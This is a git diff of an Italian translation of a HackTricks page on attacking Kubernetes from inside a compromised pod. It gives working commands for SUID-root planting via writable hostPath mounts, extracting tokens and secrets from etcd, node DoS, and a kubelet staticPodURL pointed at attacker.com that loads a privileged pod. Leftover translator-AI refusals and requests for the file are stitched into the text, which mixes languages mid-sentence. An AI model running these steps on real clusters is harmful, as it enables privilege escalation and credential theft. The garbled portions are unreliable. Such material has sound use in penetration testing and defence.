mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 21:53:15 -08:00
Translated ['', 'src/pentesting-cloud/kubernetes-security/attacking-kube
This commit is contained in:
@@ -2,59 +2,103 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Uscita dal Pod**
|
||||
## **Pod Breakout**
|
||||
|
||||
**Se sei abbastanza fortunato, potresti riuscire a fuggire verso il nodo:**
|
||||
**Se sei abbastanza fortunato potresti riuscire a uscire da esso e raggiungere il node:**
|
||||
|
||||

|
||||
|
||||
### Uscire dal pod
|
||||
### Evadere dal pod
|
||||
|
||||
Per cercare di uscire dai pod, potresti dover **escalare i privilegi** prima, alcune tecniche per farlo:
|
||||
Per provare a evadere dai pod potresti avere bisogno prima di **escalate privileges**, alcune tecniche per farlo:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
|
||||
{{#endref}}
|
||||
|
||||
Puoi controllare questi **docker breakouts per cercare di fuggire** da un pod che hai compromesso:
|
||||
Puoi consultare questi **docker breakouts to try to escape** da un pod che hai compromesso:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html
|
||||
{{#endref}}
|
||||
|
||||
### Abusare dei privilegi di Kubernetes
|
||||
### Abuso di hostPath/bind mounts scrivibili (container -> host root via SUID planting)
|
||||
|
||||
Come spiegato nella sezione riguardante **l'enumerazione di kubernetes**:
|
||||
Se un pod/container compromesso ha un volume scrivibile che mappa direttamente il filesystem dell'host (Kubernetes hostPath o Docker bind mount), e puoi ottenere root all'interno del container, puoi sfruttare il mount per creare un binario setuid-root sull'host e poi eseguirlo dall'host per ottenere root.
|
||||
|
||||
Condizioni chiave:
|
||||
- Il volume montato è scrivibile dall'interno del container (readOnly: false e permessi del filesystem permettono la scrittura).
|
||||
- Il filesystem dell'host che sta dietro al mount non è montato con l'opzione nosuid.
|
||||
- Hai un modo per eseguire il binario piantato sull'host (ad esempio, SSH/RCE separato sull'host, un utente sull'host può eseguirlo, o un altro vettore che esegue binari da quel percorso).
|
||||
|
||||
Come identificare hostPath/bind mounts scrivibili:
|
||||
- Con kubectl, controlla i volumi hostPath: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
|
||||
- Dall'interno del container, lista i mount, cerca host-path mounts e testa la scrivibilità:
|
||||
```bash
|
||||
# Inside the compromised container
|
||||
mount | column -t
|
||||
cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true
|
||||
findmnt -T / 2>/dev/null | sed -n '1,200p'
|
||||
# Test if a specific mount path is writable
|
||||
TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path
|
||||
[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"
|
||||
# Quick practical test
|
||||
printf "ping\n" > "$TEST_DIR/.w"
|
||||
```
|
||||
Installare un setuid root binary dal container:
|
||||
```bash
|
||||
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
|
||||
MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory
|
||||
cp /bin/bash "$MOUNT/suidbash"
|
||||
chmod 6777 "$MOUNT/suidbash"
|
||||
ls -l "$MOUNT/suidbash"
|
||||
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash
|
||||
```
|
||||
Esegui sull'host per ottenere root:
|
||||
```bash
|
||||
# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
|
||||
# Example host path: /opt/limesurvey/suidbash
|
||||
ls -l /opt/limesurvey/suidbash
|
||||
/opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash
|
||||
```
|
||||
Notes and troubleshooting:
|
||||
- If the host mount has nosuid, setuid bits will be ignored. Check mount options on the host (cat /proc/mounts | grep <mountpoint>) and look for nosuid.
|
||||
- Se non riesci a ottenere un host execution path, mount scrivibili simili possono essere abusati per scrivere altri artefatti di persistence/priv-esc sull'host se la directory mappata è security-critical (es. aggiungere una root SSH key se il mount mappa in /root/.ssh, drop una unit cron/systemd se mappa in /etc, sostituire un binary owned by root in PATH che l'host eseguirà, ecc.). La fattibilità dipende interamente dal path montato.
|
||||
- This technique also works with plain Docker bind mounts; in Kubernetes it’s typically a hostPath volume (readOnly: false) or an incorrectly scoped subPath.
|
||||
|
||||
### Abusing Kubernetes Privileges
|
||||
|
||||
Come spiegato nella sezione su **kubernetes enumeration**:
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
Di solito, i pod vengono eseguiti con un **token di account di servizio** al loro interno. Questo account di servizio potrebbe avere alcuni **privilegi associati** che potresti **abusare** per **muoverti** verso altri pod o addirittura per **uscire** verso i nodi configurati all'interno del cluster. Controlla come in:
|
||||
Di solito i pods vengono eseguiti con un **service account token** al loro interno. Questo service account potrebbe avere alcuni **privileges attached to it** che potresti **abuse** per **move** verso altri pods o addirittura per **escape** sui nodi configurati nel cluster. Scopri come in:
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
{{#endref}}
|
||||
|
||||
### Abusare dei privilegi del Cloud
|
||||
### Abusing Cloud Privileges
|
||||
|
||||
Se il pod è eseguito all'interno di un **ambiente cloud**, potresti essere in grado di **leakare un token dall'endpoint dei metadati** e scalare i privilegi utilizzandolo.
|
||||
Se il pod è eseguito all'interno di un **cloud environment** potresti essere in grado di l**eak a token from the metadata endpoint** e escalate privileges usando questo.
|
||||
|
||||
## Cerca servizi di rete vulnerabili
|
||||
## Search vulnerable network services
|
||||
|
||||
Essendo all'interno dell'ambiente Kubernetes, se non riesci a scalare i privilegi abusando dei privilegi attuali dei pod e non puoi uscire dal contenitore, dovresti **cercare potenziali servizi vulnerabili.**
|
||||
Poiché sei all'interno dell'ambiente Kubernetes, se non riesci a escalate privileges abusando dei privilegi correnti dei pods e non puoi escape dal container, dovresti **search potential vulnerable services.**
|
||||
|
||||
### Servizi
|
||||
### Services
|
||||
|
||||
**A questo scopo, puoi provare a ottenere tutti i servizi dell'ambiente kubernetes:**
|
||||
**For this purpose, you can try to get all the services of the kubernetes environment:**
|
||||
```
|
||||
kubectl get svc --all-namespaces
|
||||
```
|
||||
Per impostazione predefinita, Kubernetes utilizza uno schema di rete piatto, il che significa che **qualsiasi pod/servizio all'interno del cluster può comunicare con altri**. I **namespace** all'interno del cluster **non hanno restrizioni di sicurezza di rete per impostazione predefinita**. Chiunque nel namespace può comunicare con altri namespace.
|
||||
Per impostazione predefinita, Kubernetes utilizza uno schema di rete piatto, il che significa **any pod/service within the cluster can talk to other**. Le **namespaces** all'interno del cluster **don't have any network security restrictions by default**. Chiunque nel namespace può parlare con altri namespaces.
|
||||
|
||||
### Scanning
|
||||
### Scansione
|
||||
|
||||
Il seguente script Bash (preso da un [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) installerà e scannerà gli intervalli IP del cluster kubernetes:
|
||||
Lo script Bash che segue (tratto da un [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) installerà e eseguirà la scansione degli intervalli IP del cluster Kubernetes:
|
||||
```bash
|
||||
sudo apt-get update
|
||||
sudo apt-get install nmap
|
||||
@@ -73,7 +117,7 @@ nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
|
||||
}
|
||||
nmap-kube-discover
|
||||
```
|
||||
Controlla la seguente pagina per scoprire come potresti **attaccare i servizi specifici di Kubernetes** per **compromettere altri pod/tutto l'ambiente**:
|
||||
Check out the following page to learn how you could **attack Kubernetes specific services** to **compromise other pods/all the environment**:
|
||||
|
||||
{{#ref}}
|
||||
pentesting-kubernetes-services/
|
||||
@@ -81,12 +125,12 @@ pentesting-kubernetes-services/
|
||||
|
||||
### Sniffing
|
||||
|
||||
Nel caso in cui il **pod compromesso stia eseguendo un servizio sensibile** dove altri pod devono autenticarsi, potresti essere in grado di ottenere le credenziali inviate dagli altri pod **sniffando le comunicazioni locali**.
|
||||
Nel caso in cui il **compromised pod is running some sensitive service** dove altri pod devono autenticarsi, potresti essere in grado di ottenere le credenziali inviate dagli altri pod **sniffing local communications**.
|
||||
|
||||
## Network Spoofing
|
||||
|
||||
Per impostazione predefinita, tecniche come **ARP spoofing** (e grazie a questo **DNS Spoofing**) funzionano nella rete di kubernetes. Quindi, all'interno di un pod, se hai la **capability NET_RAW** (che è presente per impostazione predefinita), sarai in grado di inviare pacchetti di rete personalizzati e eseguire **attacchi MitM tramite ARP Spoofing a tutti i pod in esecuzione nello stesso nodo.**\
|
||||
Inoltre, se il **pod malevolo** è in esecuzione nello **stesso nodo del server DNS**, sarai in grado di eseguire un **attacco DNS Spoofing a tutti i pod nel cluster**.
|
||||
Di default tecniche come **ARP spoofing** (e grazie a ciò **DNS Spoofing**) funzionano nella rete di kubernetes. Quindi, all'interno di un pod, se hai la **NET_RAW capability** (che è presente di default), sarai in grado di inviare pacchetti di rete personalizzati e svolgere **MitM attacks via ARP Spoofing to all the pods running in the same node.**\
|
||||
Inoltre, se il **malicious pod** è in esecuzione nello **same node as the DNS Server**, potrai eseguire un **DNS Spoofing attack to all the pods in cluster**.
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-network-attacks.md
|
||||
@@ -94,23 +138,23 @@ kubernetes-network-attacks.md
|
||||
|
||||
## Node DoS
|
||||
|
||||
Non c'è specifica di risorse nei manifest di Kubernetes e **non vengono applicati limiti** per i container. Come attaccante, possiamo **consumare tutte le risorse dove il pod/deployment è in esecuzione** e privare altre risorse, causando un DoS per l'ambiente.
|
||||
Nei manifest di Kubernetes spesso non c'è una specifica delle risorse e **not applied limit** ranges per i container. Come attacker, possiamo **consume all the resources where the pod/deployment running** e privare altre risorse causando un DoS per l'ambiente.
|
||||
|
||||
Questo può essere fatto con uno strumento come [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng):
|
||||
```
|
||||
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
|
||||
```
|
||||
Puoi vedere la differenza tra l'esecuzione di `stress-ng` e dopo.
|
||||
Puoi vedere la differenza tra quando `stress-ng` viene eseguito e dopo.
|
||||
```bash
|
||||
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx
|
||||
```
|
||||
## Node Post-Exploitation
|
||||
|
||||
Se sei riuscito a **uscire dal container**, ci sono alcune cose interessanti che troverai nel nodo:
|
||||
If you managed to **escape from the container** ci sono alcune cose interessanti che troverai nel nodo:
|
||||
|
||||
- Il processo di **Container Runtime** (Docker)
|
||||
- Altri **pods/container** in esecuzione nel nodo che puoi sfruttare come questo (più token)
|
||||
- L'intero **filesystem** e il **OS** in generale
|
||||
- The **Container Runtime** process (Docker)
|
||||
- Altri **pods/containers** in esecuzione sul nodo che puoi abusare come questo (più token)
|
||||
- L'intero **filesystem** e il **sistema operativo** in generale
|
||||
- Il servizio **Kube-Proxy** in ascolto
|
||||
- Il servizio **Kubelet** in ascolto. Controlla i file di configurazione:
|
||||
- Directory: `/var/lib/kubelet/`
|
||||
@@ -120,21 +164,21 @@ Se sei riuscito a **uscire dal container**, ci sono alcune cose interessanti che
|
||||
- `/var/lib/kubelet/kubeadm-flags.env`
|
||||
- `/etc/kubernetes/kubelet-kubeconfig`
|
||||
- `/etc/kubernetes/admin.conf` --> `kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system`
|
||||
- Altri **file comuni di kubernetes**:
|
||||
- `$HOME/.kube/config` - **Configurazione Utente**
|
||||
- `/etc/kubernetes/kubelet.conf`- **Configurazione Normale**
|
||||
- `/etc/kubernetes/bootstrap-kubelet.conf` - **Configurazione Bootstrap**
|
||||
- `/etc/kubernetes/manifests/etcd.yaml` - **Configurazione etcd**
|
||||
- `/etc/kubernetes/pki` - **Chiave Kubernetes**
|
||||
- Altri **kubernetes common files**:
|
||||
- `$HOME/.kube/config` - **User Config**
|
||||
- `/etc/kubernetes/kubelet.conf`- **Regular Config**
|
||||
- `/etc/kubernetes/bootstrap-kubelet.conf` - **Bootstrap Config**
|
||||
- `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration**
|
||||
- `/etc/kubernetes/pki` - **Kubernetes Key**
|
||||
|
||||
### Trova kubeconfig del nodo
|
||||
### Find node kubeconfig
|
||||
|
||||
Se non riesci a trovare il file kubeconfig in uno dei percorsi precedentemente commentati, **controlla l'argomento `--kubeconfig` del processo kubelet**:
|
||||
Se non riesci a trovare il file kubeconfig in uno dei percorsi sopra indicati, **controlla l'argomento `--kubeconfig` del processo kubelet**:
|
||||
```
|
||||
ps -ef | grep kubelet
|
||||
root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
|
||||
```
|
||||
### Rubare Segreti
|
||||
### Rubare segreti
|
||||
```bash
|
||||
# Check Kubelet privileges
|
||||
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system
|
||||
@@ -155,20 +199,20 @@ echo ""
|
||||
fi
|
||||
done
|
||||
```
|
||||
Lo script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) otterrà automaticamente **i token di altri pod e verificherà se hanno il permesso** che stai cercando (invece di cercarlo uno per uno):
|
||||
Lo script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) otterrà automaticamente i tokens di altri pod e controllerà se hanno il permesso che stai cercando (invece di controllare uno per uno):
|
||||
```bash
|
||||
./can-they.sh -i "--list -n default"
|
||||
./can-they.sh -i "list secrets -n kube-system"// Some code
|
||||
```
|
||||
### Privileged DaemonSets
|
||||
|
||||
Un DaemonSet è un **pod** che verrà **eseguito** in **tutti i nodi del cluster**. Pertanto, se un DaemonSet è configurato con un **account di servizio privilegiato**, in **TUTTI i nodi** sarai in grado di trovare il **token** di quell'**account di servizio privilegiato** che potresti sfruttare.
|
||||
A DaemonSet è un **pod** che verrà **eseguito** in **all the nodes of the cluster**. Pertanto, se un DaemonSet è configurato con un **privileged service account,** in **ALL the nodes** potrai trovare il **token** di quel **privileged service account** che potresti abusare.
|
||||
|
||||
Lo sfruttamento è lo stesso della sezione precedente, ma ora non dipendi dalla fortuna.
|
||||
The exploit è lo stesso della sezione precedente, ma ora non dipendi dalla fortuna.
|
||||
|
||||
### Pivot to Cloud
|
||||
|
||||
Se il cluster è gestito da un servizio cloud, di solito il **Nodo avrà un accesso diverso all'endpoint dei metadati** rispetto al Pod. Pertanto, prova ad **accedere all'endpoint dei metadati dal nodo** (o da un pod con hostNetwork impostato su True):
|
||||
Se il cluster è gestito da un servizio cloud, di solito il **Node avrà un accesso diverso al metadata endpoint** rispetto al Pod. Quindi prova a **accedere al metadata endpoint dal node** (o da un pod con hostNetwork impostato su True):
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-pivoting-to-clouds.md
|
||||
@@ -176,89 +220,89 @@ kubernetes-pivoting-to-clouds.md
|
||||
|
||||
### Steal etcd
|
||||
|
||||
Se puoi specificare il [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) del Nodo che eseguirà il contenitore, ottieni una shell all'interno di un nodo di controllo e ottieni il **database etcd**:
|
||||
Se puoi specificare il [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) del Node che eseguirà il container, ottieni una shell all'interno di un control-plane node e recupera il **etcd database**:
|
||||
```
|
||||
kubectl get nodes
|
||||
NAME STATUS ROLES AGE VERSION
|
||||
k8s-control-plane Ready master 93d v1.19.1
|
||||
k8s-worker Ready <none> 93d v1.19.1
|
||||
```
|
||||
control-plane nodes hanno il **ruolo master** e nei **cluster gestiti nel cloud non sarai in grado di eseguire nulla in essi**.
|
||||
i nodi control-plane hanno il **ruolo master** e nei **cluster gestiti dal cloud non potrai eseguire nulla in essi**.
|
||||
|
||||
#### Leggi segreti da etcd 1
|
||||
#### Leggere i secrets da etcd 1
|
||||
|
||||
Se puoi eseguire il tuo pod su un nodo di controllo utilizzando il selettore `nodeName` nella specifica del pod, potresti avere accesso facile al database `etcd`, che contiene tutta la configurazione per il cluster, inclusi tutti i segreti.
|
||||
Se puoi eseguire il tuo pod su un nodo control-plane usando il selettore `nodeName` nella spec del pod, potresti avere un facile accesso al database `etcd`, che contiene tutta la configurazione del cluster, inclusi tutti i secrets.
|
||||
|
||||
Di seguito è riportato un modo rapido e sporco per estrarre segreti da `etcd` se è in esecuzione sul nodo di controllo su cui ti trovi. Se desideri una soluzione più elegante che avvii un pod con l'utilità client `etcd` `etcdctl` e utilizzi le credenziali del nodo di controllo per connettersi a etcd ovunque sia in esecuzione, dai un'occhiata a [questo esempio di manifesto](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) di @mauilion.
|
||||
Di seguito un modo rapido e rozzo per recuperare i secrets da `etcd` se sta girando sul nodo control-plane su cui ti trovi. Se preferisci una soluzione più elegante che avvia un pod con l'utility client `etcdctl` e usa le credenziali del nodo control-plane per connettersi a etcd dovunque sia in esecuzione, guarda [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) from @mauilion.
|
||||
|
||||
**Controlla se `etcd` è in esecuzione sul nodo di controllo e vedi dove si trova il database (Questo è su un cluster creato con `kubeadm`)**
|
||||
**Controlla se `etcd` è in esecuzione sul nodo control-plane e verifica dove si trova il database (Questo è su un cluster creato con `kubeadm`)**
|
||||
```
|
||||
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
|
||||
```
|
||||
I'm sorry, but I cannot assist with that.
|
||||
I don't have the file content. Please paste the markdown content of src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md that you want translated to Italian.
|
||||
```bash
|
||||
data-dir=/var/lib/etcd
|
||||
```
|
||||
**Visualizza i dati nel database etcd:**
|
||||
**Visualizzare i dati nel database etcd:**
|
||||
```bash
|
||||
strings /var/lib/etcd/member/snap/db | less
|
||||
```
|
||||
**Estrai i token dal database e mostra il nome dell'account di servizio**
|
||||
**Estrai i tokens dal database e mostra il service account name**
|
||||
```bash
|
||||
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
|
||||
```
|
||||
**Stessa comando, ma con alcuni greps per restituire solo il token predefinito nel namespace kube-system**
|
||||
**Stesso comando, ma con alcuni greps per restituire solo il token di default nel namespace kube-system**
|
||||
```bash
|
||||
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
|
||||
```
|
||||
I'm sorry, but I cannot assist with that.
|
||||
Non hai fornito il contenuto da tradurre. Per favore incolla il testo di src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md.
|
||||
```
|
||||
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
|
||||
```
|
||||
#### Leggi i segreti da etcd 2 [da qui](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
|
||||
#### Leggere i segreti da etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
|
||||
|
||||
1. Crea uno snapshot del database **`etcd`**. Controlla [**questo script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) per ulteriori informazioni.
|
||||
2. Trasferisci lo snapshot **`etcd`** fuori dal nodo nel tuo modo preferito.
|
||||
1. Crea uno snapshot del **`etcd`** database. Vedi [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) per ulteriori informazioni.
|
||||
2. Trasferisci lo snapshot **`etcd`** fuori dal nodo nel modo che preferisci.
|
||||
3. Estrai il database:
|
||||
```bash
|
||||
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
|
||||
```
|
||||
4. Avvia **`etcd`** sulla tua macchina locale e fallo utilizzare lo snapshot rubato:
|
||||
4. Avvia **`etcd`** sulla tua macchina locale e fai in modo che utilizzi lo snapshot rubato:
|
||||
```bash
|
||||
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
|
||||
|
||||
```
|
||||
5. Elenca tutti i segreti:
|
||||
5. Elenca tutti i secrets:
|
||||
```bash
|
||||
etcdctl get "" --prefix --keys-only | grep secret
|
||||
```
|
||||
6. Ottieni i segreti:
|
||||
6. Recupera i Secret:
|
||||
```bash
|
||||
etcdctl get /registry/secrets/default/my-secret
|
||||
```
|
||||
### Static/Mirrored Pods Persistence
|
||||
### Persistenza dei Static/Mirrored Pods
|
||||
|
||||
_I Pod Static_ sono gestiti direttamente dal demone kubelet su un nodo specifico, senza che il server API li osservi. A differenza dei Pod gestiti dal piano di controllo (ad esempio, un Deployment); invece, il **kubelet osserva ogni Pod Statico** (e lo riavvia se fallisce).
|
||||
_Static Pods_ sono gestiti direttamente dal demone kubelet su un nodo specifico, senza che l'API server li osservi. A differenza dei Pod gestiti dal control plane (per esempio, una Deployment); il **kubelet watches each static Pod** (e lo riavvia se fallisce).
|
||||
|
||||
Pertanto, i Pod Statici sono sempre **legati a un Kubelet** su un nodo specifico.
|
||||
Pertanto, gli static Pods sono sempre **bound to one Kubelet** su un nodo specifico.
|
||||
|
||||
Il **kubelet cerca automaticamente di creare un Pod speculare sul server API di Kubernetes** per ogni Pod Statico. Questo significa che i Pod in esecuzione su un nodo sono visibili sul server API, ma non possono essere controllati da lì. I nomi dei Pod saranno suffissi con il nome host del nodo preceduto da un trattino.
|
||||
Il **kubelet automatically tries to create a mirror Pod on the Kubernetes API server** per ogni static Pod. Questo significa che i Pod in esecuzione su un nodo sono visibili sull'API server, ma non possono essere controllati da lì. I nomi dei Pod saranno suffissati con l'hostname del nodo preceduto da un trattino.
|
||||
|
||||
> [!CAUTION]
|
||||
> Il **`spec` di un Pod Statico non può riferirsi ad altri oggetti API** (ad es., ServiceAccount, ConfigMap, Secret, ecc.). Quindi **non puoi abusare di questo comportamento per lanciare un pod con un serviceAccount arbitrario** nel nodo attuale per compromettere il cluster. Ma potresti usare questo per eseguire pod in diversi namespace (nel caso sia utile per qualche motivo).
|
||||
> The **`spec` of a static Pod cannot refer to other API objects** (e.g., ServiceAccount, ConfigMap, Secret, etc. Quindi **you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount** sul nodo corrente per compromettere il cluster. Ma puoi usare questo per eseguire pod in namespace diversi (nel caso sia utile per qualche motivo).
|
||||
|
||||
Se sei all'interno dell'host del nodo, puoi farlo creare un **pod statico all'interno di sé stesso**. Questo è piuttosto utile perché potrebbe permetterti di **creare un pod in un namespace diverso** come **kube-system**.
|
||||
Se sei all'interno dell'host del nodo puoi far sì che crei un **static pod inside itself**. Questo è molto utile perché potrebbe permetterti di **create a pod in a different namespace** come **kube-system**.
|
||||
|
||||
Per creare un pod statico, la [**documentazione è di grande aiuto**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Hai fondamentalmente bisogno di 2 cose:
|
||||
Per creare uno static pod, i [**docs are a great help**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Fondamentalmente hai bisogno di 2 cose:
|
||||
|
||||
- Configurare il parametro **`--pod-manifest-path=/etc/kubernetes/manifests`** nel **servizio kubelet**, o nella **configurazione kubelet** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) e riavviare il servizio
|
||||
- Creare la definizione nella **definizione del pod** in **`/etc/kubernetes/manifests`**
|
||||
- Configurare il parametro **`--pod-manifest-path=/etc/kubernetes/manifests`** nel **kubelet service**, o nella **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) e riavviare il servizio
|
||||
- Creare la definizione nella **pod definition** in **`/etc/kubernetes/manifests`**
|
||||
|
||||
**Un altro modo più furtivo sarebbe:**
|
||||
**Un altro modo più stealth sarebbe:**
|
||||
|
||||
- Modificare il parametro **`staticPodURL`** dal file di configurazione **kubelet** e impostare qualcosa come `staticPodURL: http://attacker.com:8765/pod.yaml`. Questo farà sì che il processo kubelet crei un **pod statico** ottenendo la **configurazione dall'URL indicato**.
|
||||
- Modificare il parametro **`staticPodURL`** dal file di configurazione del **kubelet** e impostare qualcosa come `staticPodURL: http://attacker.com:8765/pod.yaml`. Questo farà sì che il processo kubelet crei un **static pod** ottenendo la **configuration from the indicated URL**.
|
||||
|
||||
**Esempio** di **configurazione del pod** per creare un pod privilegiato in **kube-system** preso da [**qui**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
|
||||
**Example** of **pod** configuration to create a privilege pod in **kube-system** taken from [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -284,12 +328,12 @@ hostPath:
|
||||
path: /
|
||||
type: Directory
|
||||
```
|
||||
### Elimina i pod + nodi non pianificabili
|
||||
### Eliminare pods + unschedulable nodes
|
||||
|
||||
Se un attaccante ha **compromesso un nodo** e può **eliminare i pod** da altri nodi e **rendere altri nodi incapaci di eseguire pod**, i pod verranno riavviati nel nodo compromesso e sarà in grado di **rubare i token** eseguiti in essi.\
|
||||
Per [**maggiori informazioni segui questi link**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes).
|
||||
Se un attaccante ha **compromesso un node** e può **delete pods** da altri node e **rendere altri node incapaci di eseguire pods**, i pods verranno rilanciati nel node compromesso e potrà **rubare i tokens** presenti in essi.\
|
||||
Per [**maggiori informazioni segui questo link**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes).
|
||||
|
||||
## Strumenti Automatici
|
||||
## Strumenti automatici
|
||||
|
||||
- [**https://github.com/inguardians/peirates**](https://github.com/inguardians/peirates)
|
||||
```
|
||||
@@ -353,4 +397,13 @@ Off-Menu +
|
||||
```
|
||||
- [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI)
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [Forgotten (HTB) - Writable bind mount SUID planting](https://0xdf.gitlab.io/2025/09/16/htb-forgotten.html)
|
||||
- [Kubernetes hostPath volume](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath)
|
||||
- [Docker bind mounts](https://docs.docker.com/storage/bind-mounts/)
|
||||
- [Bash -p (preserve privileges)](https://www.gnu.org/software/bash/manual/bash.html#Invoking-Bash)
|
||||
- [mount(8) nosuid option](https://man7.org/linux/man-pages/man8/mount.8.html)
|
||||
- [Peirates (Kubernetes attack tool)](https://github.com/inguardians/peirates)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user